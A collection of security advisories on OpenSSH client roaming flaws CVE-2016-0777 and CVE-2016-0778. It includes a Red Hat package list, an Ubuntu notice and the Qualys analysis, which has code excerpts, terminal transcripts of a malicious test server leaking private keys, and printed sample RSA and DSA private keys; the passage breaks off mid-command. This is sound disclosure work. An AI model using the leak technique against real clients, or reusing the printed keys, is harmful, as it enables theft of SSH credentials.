x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 7):
x86_64: openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2016-0777 https://access.redhat.com/security/cve/CVE-2016-0778 https://access.redhat.com/security/updates/classification/#moderate https://access.redhat.com/articles/2123781
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce
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"data": "The resend_bytes function in roaming_common.c in the client in OpenSSH 5.x, 6.x, and 7.x before 7.1p2 allows remote servers to obtain sensitive information from process memory by requesting transmission of an entire buffer, as demonstrated by reading a private key. OpenSSH client code versions 5.4 through 7.1p1 contains a client information leak vulnerability that could allow an OpenSSH client to leak information not limited to but including private keys, as well as a buffer overflow in certain non-default configurations. OpenSSH is prone to an information-disclosure vulnerability. \nSuccessfully exploiting this issue allows attackers to obtain sensitive information that may aid in further attacks. This tool is an open source implementation of the SSH protocol, supports encryption of all transmissions, and can effectively prevent eavesdropping, connection hijacking, and other network-level attacks. The following versions are affected: OpenSSH 5.x, 6.x, 7.x prior to 7.1p2. ============================================================================\nUbuntu Security Notice USN-2869-1\nJanuary 14, 2016\n\nopenssh vulnerabilities\n============================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 15.10\n- Ubuntu 15.04\n- Ubuntu 14.04 LTS\n- Ubuntu 12.04 LTS\n\nSummary:\n\nOpenSSH could be made to expose sensitive information over the network. \n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 15.10:\n openssh-client 1:6.9p1-2ubuntu0.1\n\nUbuntu 15.04:\n openssh-client 1:6.7p1-5ubuntu1.4\n\nUbuntu 14.04 LTS:\n openssh-client 1:6.6p1-2ubuntu2.4\n\nUbuntu 12.04 LTS:\n openssh-client 1:5.9p1-5ubuntu1.8\n\nIn general, a standard system update will make all the necessary changes. \nQualys Security Advisory\n\nRoaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778\n\n\n========================================================================\nContents\n========================================================================\n\nSummary\nInformation Leak (CVE-2016-0777)\n- Analysis\n- Private Key Disclosure\n- Mitigating Factors\n- Examples\nBuffer Overflow (CVE-2016-0778)\n- Analysis\n- Mitigating Factors\n- File Descriptor Leak\nAcknowledgments\nProof Of Concept\n\n\n========================================================================\nSummary\n========================================================================\n\nSince version 5.4 (released on March 8, 2010), the OpenSSH client\nsupports an undocumented feature called roaming: if the connection to an\nSSH server breaks unexpectedly, and if the server supports roaming as\nwell, the client is able to reconnect to the server and resume the\nsuspended SSH session. This information leak may have already been exploited in\nthe wild by sophisticated attackers, and high-profile sites or users may\nneed to regenerate their SSH keys accordingly. \n\nThe buffer overflow, on the other hand, is present in the default\nconfiguration of the OpenSSH client but its exploitation requires two\nnon-default options: a ProxyCommand, and either ForwardAgent (-A) or\nForwardX11 (-X). This buffer overflow is therefore unlikely to have any\nreal-world impact, but provides a particularly interesting case study. \n\nAll OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be\neasily hot-fixed by setting the undocumented option \"UseRoaming\" to\n\"no\", as detailed in the Mitigating Factors section. OpenSSH version\n7.1p2 (released on January 14, 2016) disables roaming by default. \n\n\n========================================================================\nInformation Leak (CVE-2016-0777)\n========================================================================\n\n------------------------------------------------------------------------\nAnalysis\n------------------------------------------------------------------------\n\nIf the OpenSSH client connects to an SSH server that offers the key\nexchange algorithm \"resume@appgate.com\", it sends the global request\n\"roaming@appgate.com\" to the server, after successful authentication. If\nthis request is accepted, the client allocates a roaming buffer out_buf,\nby calling malloc() (and not calloc()) with an out_buf_size that is\narbitrarily chosen by the server:\n\n 63 void\n 64 roaming_reply(int type, u_int32_t seq, void *ctxt)\n 65 {\n 66 if (type == SSH2_MSG_REQUEST_FAILURE) {\n 67 logit(\"Server denied roaming\");\n 68 return;\n 69 }\n 70 verbose(\"Roaming enabled\");\n .. \n 75 set_out_buffer_size(packet_get_int() + get_snd_buf_size());\n .. \n 77 }\n\n 40 static size_t out_buf_size = 0;\n 41 static char *out_buf = NULL;\n 42 static size_t out_start;\n 43 static size_t out_last;\n .. \n 75 void\n 76 set_out_buffer_size(size_t size)\n 77 {\n 78 if (size == 0 || size \u003e MAX_ROAMBUF)\n 79 fatal(\"%s: bad buffer size %lu\", __func__, (u_long)size);\n 80 /*\n 81 * The buffer size can only be set once and the buffer will live\n 82 * as long as the session lives. \n 83 */\n 84 if (out_buf == NULL) {\n 85 out_buf_size = size;\n 86 out_buf = xmalloc(size);\n 87 out_start = 0;\n 88 out_last = 0;\n 89 }\n 90 }\n\nThe OpenSSH client\u0027s roaming_write() function, a simple wrapper around\nwrite(), calls wait_for_roaming_reconnect() to transparently reconnect\nto the SSH server after a disconnection. It also calls buf_append() to\ncopy the data sent to the server into the roaming buffer out_buf. During\na reconnection, the client is therefore able to resend the data that was\nnot received by the server because of the disconnection:\n\n198 void\n199 resend_bytes(int fd, u_int64_t *offset)\n200 {\n201 size_t available, needed;\n202\n203 if (out_start \u003c out_last)\n204 available = out_last - out_start;\n205 else\n206 available = out_buf_size;\n207 needed = write_bytes - *offset;\n208 debug3(\"resend_bytes: resend %lu bytes from %llu\",\n209 (unsigned long)needed, (unsigned long long)*offset);\n210 if (needed \u003e available)\n211 fatal(\"Needed to resend more data than in the cache\");\n212 if (out_last \u003c needed) {\n213 int chunkend = needed - out_last;\n214 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend,\n215 chunkend);\n216 atomicio(vwrite, fd, out_buf, out_last);\n217 } else {\n218 atomicio(vwrite, fd, out_buf + (out_last - needed), needed);\n219 }\n220 }\n\nIn the OpenSSH client\u0027s roaming buffer out_buf, the most recent data\nsent to the server begins at index out_start and ends at index out_last. \nAs soon as this circular buffer is full, buf_append() maintains the\ninvariant \"out_start = out_last + 1\", and consequently three different\ncases have to be considered:\n\n- \"out_start \u003c out_last\" (lines 203-204): out_buf is not full yet (and\n out_start is still equal to 0), and the amount of data available in\n out_buf is indeed \"out_last - out_start\";\n\n- \"out_start \u003e out_last\" (lines 205-206): out_buf is full (and out_start\n is exactly equal to \"out_last + 1\"), and the amount of data available\n in out_buf is indeed the entire out_buf_size;\n\n- \"out_start == out_last\" (lines 205-206): no data was ever written to\n out_buf (and both out_start and out_last are still equal to 0) because\n no data was ever sent to the server after roaming_reply() was called,\n but the client sends (leaks) the entire uninitialized out_buf to the\n server (line 214), as if out_buf_size bytes of data were available. \n\nIn order to successfully exploit this information leak and retrieve\nsensitive information from the OpenSSH client\u0027s memory (for example,\nprivate SSH keys, or memory addresses useful for further exploitation),\na malicious server needs to:\n\n- Massage the client\u0027s heap before roaming_reply() malloc()ates out_buf,\n and force malloc() to return a previously free()d but uncleansed chunk\n of sensitive information. The simple proof-of-concept in this advisory\n does not implement heap massaging. \n\n- Guess the client\u0027s get_snd_buf_size() in order to precisely control\n out_buf_size. OpenSSH \u003c 6.0 accepts out_buf sizes in the range (0,4G),\n and OpenSSH \u003e= 6.0 accepts sizes in the range (0,2M]. Sizes smaller\n than get_snd_buf_size() are attainable because roaming_reply() does\n not protect \"packet_get_int() + get_snd_buf_size()\" against integer\n wraparound. The proof-of-concept in this advisory attempts to derive\n the client\u0027s get_snd_buf_size() from the get_recv_buf_size() sent by\n the client to the server, and simply chooses a random out_buf_size. \n\n- Advise the client\u0027s resend_bytes() that all \"available\" bytes (the\n entire out_buf_size) are \"needed\" by the server, even if fewer bytes\n were actually written by the client to the server (because the server\n controls the \"*offset\" argument, and resend_bytes() does not protect\n \"needed = write_bytes - *offset\" against integer wraparound). \n\nFinally, a brief digression on a minor bug in resend_bytes(): on 64-bit\nsystems, where \"chunkend\" is a 32-bit signed integer, but \"out_buf\" and\n\"out_buf_size\" are 64-bit variables, \"out_buf + out_buf_size - chunkend\"\nmay point out-of-bounds, if chunkend is negative (if out_buf_size is in\nthe [2G,4G) range). This negative chunkend is then converted to a 64-bit\nsize_t greater than SSIZE_MAX when passed to atomicio(), and eventually\nreturns EFAULT when passed to write() (at least on Linux and OpenBSD),\nthus avoiding an out-of-bounds read from the OpenSSH client\u0027s memory. \n\n------------------------------------------------------------------------\nPrivate Key Disclosure\n------------------------------------------------------------------------\n\nWe initially believed that this information leak in the OpenSSH client\u0027s\nroaming code would not allow a malicious SSH server to steal the\nclient\u0027s private keys, because:\n\n- the information leaked is not read from out-of-bounds memory, but from\n a previously free()d chunk of memory that is recycled to malloc()ate\n the client\u0027s roaming buffer out_buf;\n\n- private keys are loaded from disk into memory and freed by key_free()\n (old API, OpenSSH \u003c 6.7) or sshkey_free() (new API, OpenSSH \u003e= 6.7),\n and both functions properly cleanse the private keys\u0027 memory with\n OPENSSL_cleanse() or explicit_bzero();\n\n- temporary copies of in-memory private keys are freed by buffer_free()\n (old API) or sshbuf_free() (new API), and both functions attempt to\n cleanse these copies with memset() or bzero(). \n\nHowever, we eventually identified three reasons why, in our experiments,\nwe were able to partially or completely retrieve the OpenSSH client\u0027s\nprivate keys through this information leak (depending on the client\u0027s\nversion, compiler, operating system, heap layout, and private keys):\n\n(besides these three reasons, other reasons may exist, as suggested by\nthe CentOS and Fedora examples at the end of this section)\n\n1. If a private SSH key is loaded from disk into memory by fopen() (or\nfdopen()), fgets(), and fclose(), a partial or complete copy of this\nprivate key may remain uncleansed in memory. Indeed, these functions\nmanage their own internal buffers, and whether these buffers are\ncleansed or not depends on the OpenSSH client\u0027s libc (stdio)\nimplementation, but not on OpenSSH itself. \n\n- In all vulnerable OpenSSH versions, SSH\u0027s main() function calls\n load_public_identity_files(), which loads the client\u0027s public keys\n with fopen(), fgets(), and fclose(). Unfortunately, the private keys\n (without the \".pub\" suffix) are loaded first and then discarded, but\n nonetheless buffered in memory by the stdio functions. \n\n- In OpenSSH versions \u003c= 5.6, the load_identity_file() function (called\n by the client\u0027s public-key authentication method) loads a private key\n with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses\n fgets() and hence internal stdio buffering. \n\nInternal stdio buffering is the most severe of the three problems\ndiscussed in this section, although GNU/Linux is not affected because\nthe glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers. \nBSD-based systems, on the other hand, are severely affected because they\nsimply malloc()ate and free() stdio buffers. For interesting comments on\nthis issue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk\n\n2. In OpenSSH versions \u003e= 5.9, the client\u0027s load_identity_file()\nfunction (called by the public-key authentication method) read()s a\nprivate key in 1024-byte chunks that are appended to a growing buffer (a\nrealloc()ating buffer) with buffer_append() (old API) or sshbuf_put()\n(new API). Unfortunately, the repeated calls to realloc() may leave\npartial copies of the private key uncleansed in memory. \n\n- In OpenSSH \u003c 6.7 (old API), the initial size of such a growing buffer\n is 4096 bytes: if a private-key file is larger than 4K, a partial copy\n of this private key may remain uncleansed in memory (a 3K copy in a 4K\n buffer). Fortunately, only the file of a very large RSA key (for\n example, an 8192-bit RSA key) can exceed 4K. \n\n- In OpenSSH \u003e= 6.7 (new API), the initial size of a growing buffer is\n 256 bytes: if a private-key file is larger than 1K (the size passed to\n read()), a partial copy of this private key may remain uncleansed in\n memory (a 1K copy in a 1K buffer). For example, the file of a\n default-sized 2048-bit RSA key exceeds 1K. \n\nFor more information on this issue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources\n\nhttps://cwe.mitre.org/data/definitions/244.html\n\n3. An OpenSSH growing-buffer that holds a private key is eventually\nfreed by buffer_free() (old API) or sshbuf_free() (new API), and both\nfunctions attempt to cleanse the buffer with memset() or bzero() before\nthey call free(). Unfortunately, an optimizing compiler may remove this\nmemset() or bzero() call, because the buffer is written to, but never\nagain read from (an optimization known as Dead Store Elimination). \n\nOpenSSH 6.6 is the only version that is not affected, because it calls\nexplicit_bzero() instead of memset() or bzero(). \n\nDead Store Elimination is the least severe of the three problems\nexplored in this section, because older GCC versions do not remove the\nmemset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5\nand Clang/LLVM do, however, remove it. For detailed discussions of this\nissue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations\n\nhttps://cwe.mitre.org/data/definitions/14.html\n\nhttps://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506\n\nFinally, for these three reasons, passphrase-encrypted SSH keys are\nleaked in their encrypted form, but an attacker may attempt to crack the\npassphrase offline. On the other hand, SSH keys that are available only\nthrough an authentication agent are never leaked, in any form. The vulnerable roaming code can be permanently disabled by adding the\nundocumented option \"UseRoaming no\" to the system-wide configuration\nfile (usually /etc/ssh/ssh_config), or per-user configuration file\n(~/.ssh/config), or command-line (-o \"UseRoaming no\"). \n\n2. If an OpenSSH client is disconnected from an SSH server that offers\nroaming, it prints \"[connection suspended, press return to resume]\" on\nstderr, and waits for \u0027\\n\u0027 or \u0027\\r\u0027 on stdin (and not on the controlling\nterminal) before it reconnects to the server; advanced users may become\nsuspicious and press Control-C or Control-Z instead, thus avoiding the\ninformation leak:\n\n# \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume]^Z\n[1]+ Stopped /usr/bin/ssh -p 222 127.0.0.1\n\nHowever, SSH commands that use the local stdin to transfer data to the\nremote server are bound to trigger this reconnection automatically (upon\nreading a \u0027\\n\u0027 or \u0027\\r\u0027 from stdin). Moreover, these non-interactive SSH\ncommands (for example, backup scripts and cron jobs) commonly employ\npublic-key authentication and are therefore perfect targets for this\ninformation leak:\n\n$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 \"cat \u003e /tmp/passwd.ls\"\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\n$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 \"cat \u003e /tmp/passwd.tar\"\ntar: Removing leading `/\u0027 from member names\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n... \n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\nSimilarly, the SCP client uses the SSH client\u0027s stdin and stdout to\ntransfer data, and can be forced by a malicious SSH server to output a\ncontrol record that ends in \u0027\\n\u0027 (an error message in server-to-client\nmode, or file permissions in client-to-server mode); this \u0027\\n\u0027 is then\nread from stdin by the fgetc() call in wait_for_roaming_reconnect(), and\ntriggers an automatic reconnection that allows the information leak to\nbe exploited without user interaction:\n\n# env ROAMING=\"scp_mode sleep:1\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp\n$ [connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\n$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\nlost connection\n\n3. Although a man-in-the-middle attacker can reset the TCP connection\nbetween an OpenSSH client and an OpenSSH server (which does not support\nroaming), it cannot exploit the information leak without breaking server\nhost authentication or integrity protection, because it needs to:\n\n- first, append the \"resume@appgate.com\" algorithm name to the server\u0027s\n initial key exchange message;\n\n- second, in response to the client\u0027s \"roaming@appgate.com\" request,\n change the server\u0027s reply from failure to success. \n\nIn conclusion, an attacker who wishes to exploit this information leak\nmust convince its target OpenSSH client to connect to a malicious server\n(an unlikely scenario), or compromise a trusted server (a more likely\nscenario, for a determined attacker). \n\n4. In the client, wait_for_roaming_reconnect()\ncalls ssh_connect(), the same function that successfully established the\nfirst connection to the server; this function supports four different\nconnection methods, but each method contains a bug and may fail to\nestablish a second connection to the server:\n\n- In OpenSSH \u003e= 6.5 (released on January 30, 2014), the default\n ssh_connect_direct() method (a simple TCP connection) is called by\n wait_for_roaming_reconnect() with a NULL aitop argument, which makes\n it impossible for the client to reconnect to the server:\n\n 418 static int\n 419 ssh_connect_direct(const char *host, struct addrinfo *aitop,\n ... \n 424 int sock = -1, attempt;\n 425 char ntop[NI_MAXHOST], strport[NI_MAXSERV];\n ... \n 430 for (attempt = 0; attempt \u003c connection_attempts; attempt++) {\n ... \n 440 for (ai = aitop; ai; ai = ai-\u003eai_next) {\n ... \n 470 }\n 471 if (sock != -1)\n 472 break; /* Successful connection. */\n 473 }\n 474\n 475 /* Return failure if we didn\u0027t get a successful connection. */\n 476 if (sock == -1) {\n 477 error(\"ssh: connect to host %s port %s: %s\",\n 478 host, strport, strerror(errno));\n 479 return (-1);\n 480 }\n\n Incidentally, this error() call displays stack memory from the\n uninitialized strport[] array, a byproduct of the NULL aitop:\n\n$ /usr/bin/ssh -V\nOpenSSH_6.8, LibreSSL 2.1\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n\n- The special ProxyCommand \"-\" communicates with the server through the\n client\u0027s stdin and stdout, but these file descriptors are close()d by\n packet_backup_state() at the beginning of wait_for_roaming_reconnect()\n and are never reopened again, making it impossible for the client to\n reconnect to the server. Moreover, the fgetc() that waits for \u0027\\n\u0027 or\n \u0027\\r\u0027 on the closed stdin returns EOF and forces the client to exit():\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ /usr/bin/nc -e \"/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1\" 127.0.0.1 222\nPseudo-terminal will not be allocated because stdin is not a terminal. \nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][exiting]\n\n- The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that\n passes a connected file descriptor back to the client, but it calls\n fatal() while reconnecting to the server, because waitpid() returns\n ECHILD; indeed, the SIGCHLD handler (installed by SSH\u0027s main() after\n the first successful connection to the server) calls waitpid() before\n ssh_proxy_fdpass_connect() does:\n\n1782 static void\n1783 main_sigchld_handler(int sig)\n1784 {\n.... \n1789 while ((pid = waitpid(-1, \u0026status, WNOHANG)) \u003e 0 ||\n1790 (pid \u003c 0 \u0026\u0026 errno == EINTR))\n1791 ;\n1792\n1793 signal(sig, main_sigchld_handler);\n.... \n1795 }\n\n 101 static int\n 102 ssh_proxy_fdpass_connect(const char *host, u_short port,\n 103 const char *proxy_command)\n 104 {\n ... \n 121 /* Fork and execute the proxy command. */\n 122 if ((pid = fork()) == 0) {\n ... \n 157 }\n 158 /* Parent. */\n ... \n 167 while (waitpid(pid, NULL, 0) == -1)\n 168 if (errno != EINTR)\n 169 fatal(\"Couldn\u0027t wait for child: %s\", strerror(errno));\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015\n\n$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand=\"/usr/bin/nc -F %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]Couldn\u0027t wait for child: No child processes\n\n- The method ssh_proxy_connect() fork()s a standard ProxyCommand that\n connects the client to the server, but if a disconnection occurs, and\n the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is\n waiting for a \u0027\\n\u0027 or \u0027\\r\u0027 on stdin, EOF is returned (the underlying\n read() returns EINTR) and the client exit()s before it can reconnect\n to the server:\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014\n\n$ /usr/bin/ssh -o ProxyCommand=\"/bin/nc %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][exiting]\n\n This behavior is intriguing, because (at least on Linux and BSD) the\n signal() call that installed the main_sigchld_handler() is supposed to\n be equivalent to a sigaction() call with SA_RESTART. However, portable\n versions of OpenSSH override signal() with mysignal(), a function that\n calls sigaction() without SA_RESTART. \n\n This last mitigating factor is actually a race-condition bug that\n depends on the ProxyCommand itself: for example, the client never\n fails to reconnect to the server when using Socat as a ProxyCommand,\n but fails occasionally when using Netcat. \n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nFreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr\nqlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T\nM3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0\n9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd\na3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD\nzzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+\neIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE\nw3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk\noayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc\nbvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C\nvcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW\nhZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW\nbc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd\nmuzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP\nwn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF\niKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw\nsj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme\nvOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi\n/rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE\nK+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr\n+7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n\nUxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7\nqsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11\n1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV\npmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:1280\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-97ed9f59/infoleak\nMIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr\nqlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T\nM3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0\n9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd\na3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD\nzzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+\neIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE\nw3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk\noayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc\nbvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C\nvcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW\nhZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW\nbc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd\nmuzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP\nwn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF\niKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw\nsj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nFreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013\n\n$ /usr/bin/ssh -V\nOpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013\n\n$ cat ~/.ssh/id_dsa\n-----BEGIN DSA PRIVATE KEY-----\nMIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP\ngrGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe\n4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY\n8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw\noM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP\nIeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4\ncRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+\niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\nzEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh\nPHatTfiy5p82Q8+TD60=\n-----END DSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:768\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 